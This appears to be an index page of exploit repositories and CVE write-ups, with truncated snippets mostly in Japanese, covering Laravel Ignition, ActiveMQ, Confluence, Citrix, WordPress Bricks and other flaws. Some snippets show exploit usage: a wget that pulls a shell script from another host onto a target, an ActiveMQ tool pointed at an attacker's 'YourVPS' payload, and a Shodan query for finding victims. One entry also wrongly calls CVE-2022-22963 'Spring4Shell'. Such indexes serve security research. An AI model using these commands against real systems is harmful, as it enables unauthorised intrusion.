cve-2026-6471-postgres-logical-decoding-dlopen

PostgreSQL CVE-2026-6471: 論理デコードによる任意ライブラリのdlopen...

CVE-2021-3129

CVE-2021-3129 Laravel Ignition RCE エクスプロイト これは、Laravel に Ignition パッケージがインストールされている場合のリモートコード実行脆弱性 CVE-2021-3129 に対する Python エクスプロイトスクリプトです。この脆弱性により、攻撃者は PHAR デシリアライゼーションを介して任意のシステムコマンドを実行できます。 特徴 phpggc を使用して PHAR ペイロードを自動生成 任意のコマンド（例：id、whoami など）をユーザー入力として受け付け ログのクリア、ペイロードの注入、ログの PHAR...

CVE-2020-1048

CVE-2020-1048 Windows Print Spooler サービスがファイル システムへの任意の書き込みを不適切に許可する場合に、特権の昇格の脆弱性が存在します。この脆弱性の悪用に成功した攻撃者は、昇格されたシステム特権で任意のコードを実行できる可能性があります。その後、攻撃者はプログラムをインストールしたり、データを表示、変更、削除したり、完全なユーザー権限を持つ新しいアカウントを作成したりする可能性があります。 この脆弱性を悪用するには、攻撃者は影響を受けるシステムにログオンし、特別に作成されたスクリプトまたはアプリケーションを実行する必要があります。 Microsof...

libreofficeExploit1

エクスプロイト生成の基本マニュアル この記事では、プログラムの単純な脆弱性を利用して、そのプログラムを使用するシステムにバックドアを開く方法を説明します。 問題の脆弱性は、オフィススイートLibreOfficeのCVE-2018-16858で定義されています。この脆弱性は、特別に作成されたファイルにおいてディレクトリトラバーサルを実現し、Pythonコードの実行を可能にします。この実行は、ユーザーがドキュメントに対してアクションを起こしたときにリンクまたはジャンプし、マクロの実行に対する警告が一切ユーザーに与えられることなく行われます。...

CVE-2026-44402

CVE-2026-44402 Voltronic Power SNMP Web Pro 1.1 における認証不要の完全リモートコマンド実行 内容 影響を受けるベンダー: https://voltronicpower.com/ 影響を受ける製品: SNMP Web pro 1.1 SNMP Web Pro 1.1 には、upload.cgi エンドポイントに認証なしのリモートコード実行の脆弱性があります。ファームウェア更新機能はユーザーに tar...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE エクスプロイト これは、Spring4Shell（CVE-2022-22963）のPython実装です。この脆弱性は、Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Exploit completed $ python exploit.py...

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack

EternalBlueからCVE-2025-2776へ：SMB攻撃の進化 2017年に世界を震撼させた攻撃は、今日のCVE‑2025‑2776へと進化しました。Microsoftは今もSMBv1に依存しており、この記事では、攻撃者が単純なDLLから完全なリバースシェルスタックへと攻撃チェーンをどのように改良してきたのか、そしてそれが防御側にとって何を意味するのかを説明します。 簡単な歴史の振り返り...

CVE-2023-46604

CVE-2023-46604 CVE-2023-46604 漏洞利用工具 此工具可帮助利用此漏洞。 用于查找目标的 Shodan 查询： product:"ActiveMQ" port:"61616" 工具使用方法： for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -c http://YourVPS/poc.xml 关于此 CVE： CVE-2023-46604 是...

SharePoint RCE and MikroTik RouterOS Flaws Actively Exploited in the Wild

The U.S. Cybersecurity and Infrastructure Security Agency CISA on Friday added two security flaws impacting Microsoft SharePoint and Mikrotik RouterOS to its Known Exploited Vulnerabilities KEV catalog, citing evidence of active exploitation. The vulnerabilities in question are as follows -...

CVE-2023-43149

CVE-2023-43149 作者 : Aitor Herrero Fuentes ベンダー: SPA-Cart ベンダーホームページ: https://spa-cart.com/ ソフトウェアリンク: https://demo.spa-cart.com/admin バージョン: 1.9.0.3 テスト環境: Windows 10 Pro CSRF ルートアカウント追加 demo.spa-cart.com...

Assignement_3-CVE-2017-7269

CVE-2017-7269 Nombre : Killian Munt-Buron y Naji Ullah Abbasi Descripción del CVE CVE-2017-7269 es una vulnerabilidad de desbordamiento de búfer en Microsoft Windows Server 2003 R2. La vulnerabilidad está en la función ScStoragePathFromUrl en WebDAV. Esta vulnerabilidad permite ejecutar código...

Apache-OFBiz-Exploit

Apache-OFBiz-Exploit Apache OFBiz CVE-2024-38856 用エクスプロイト 作成者: Alisson Faoli 説明 このリポジトリには、Apache OFBiz で見つかった CVE-2024-38856 脆弱性のエクスプロイトが含まれています。この欠陥により、認証なしの RCE Remote Code Execution が可能になります。 注: このエクスプロイトは教育および研究目的でのみ提供されます。不正使用は違法となる可能性があり、その責任はすべてユーザーにあります。 脆弱性の詳細 CVE: CVE-2024-38856...

CVE-2022-26134-Confluence-RCE

CVE-2022-26134 用エクスプロイト: OGNL インジェクションを介した Confluence の事前認証リモートコード実行 OGNL 界隈のもう一つのエクスプロイト 説明 Confluence は、オーストラリアのソフトウェア企業 Atlassian によって開発された Web ベースの企業向け Wiki です。 2022 年 6 月 2 日、Atlassian は Confluence Server および Data Center アプリケーション向けのセキュリティアドバイザリを公開し、重大度が critical の未認証リモートコード実行の脆弱性を強調しました。この...

CVE-2020-9047

使用方法/ヘルプメニュー usage: CVE-2020-9047.py -h -p RPORT -s LPORT --command -d WEBDIR -U USERNAME -P PASSWORD WINDOWS,LINUX,CHECK RHOST LHOST PAYLOAD Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program targets Windows and Linux x86 installations of exacqVision Web Service...

citrix_dir_traversal_rce

citrixdirtraversalrce Citrix Application Delivery Controller ADC（別名 NetScaler）および Gateway 10.5、11.1、12.0、12.1、13.0 において、ディレクトリトラバーサルが発見されました。 NSPPE が GET /vpn/index.html リクエストを受信すると、このリクエストを Apache に送信して処理させることになっています。しかし、GET /vpn/../vpns/ というリクエスト（サニタイズされていない）を行うことで、Apache はルートを GET /vpns/...

CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC

CVE-2026-XXXXX 未確定: Flask-Uploads におけるパストラバーサル 脆弱性情報 製品 : Flask-Uploads バージョン : 0.2.1 およびそれ以前のバージョンの可能性あり 脆弱性の種類 : パストラバーサル ディレクトリトラバーサル CWE-ID : CWE-22 深刻度 : 高 CVSS 7.5 影響 : 任意ファイル書き込み、リモートコード実行 RCE 説明 Flask-Uploads バージョン 0.2.1...

CVE-2024-25600

Bricks Builder RCE エクスプロイト CVE-2024-25600 このプロジェクトには、CVE-2024-25600 として特定された Bricks Builder WordPress プラグインのリモートコード実行 RCE 脆弱性を標的とした Python ベースのエクスプロイトスクリプトが含まれています。このエクスプロイトは、脆弱な REST API エンドポイントを介して PHP コードを注入することにより、認証されていないリモートコマンド実行を可能にします。 さらに、エクスプロイト結果を解析して要約する分析スクリプトも提供されており、ユーザー情報の抽出や IP...

CVE-2022-21907-RCE

CVE-2022-21907-RCE CVE-2022-21907脆弱性RCE PoC 使用方法: go run ./CVE-2022-21907.go -h...

CVE-2026-54984

CVE-2026-54984 Windows ICCファイル解析における領域外書き込み — リモートコード実行 Zero Day Initiativeを通じて ZDI-CAN-30441 として報告され、ZDI-26-543 として公開され、2026年8月の更新サイクルでMicrosoftによって修正されました。 こんにちは、Kağan Çapar です。この脆弱性をZero Day Initiativeに報告し、同機関は2026年6月2日にMicrosoftへ開示しました。2026年8月11日 — 8月のPatch Tuesday —...

CVE-2019-17571

CVE-2019-17571/Apache Log4j 1.2.X における逆シリアル化リモートコード実行脆弱性 脆弱性警告参考リンク： https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ 1. 脆弱性の説明 Apache Log4j は、米国 Apache ソフトウェア財団が開発した Java ベースのオープンソースログ記録ツールです。Apache Log4j 1.2.X シリーズには、逆シリアル化によるリモートコード実行の脆弱性が存在します。攻撃者はこの脆弱性を利用して任意の悪意あるコマンドを実行する可能性があります。Log4j...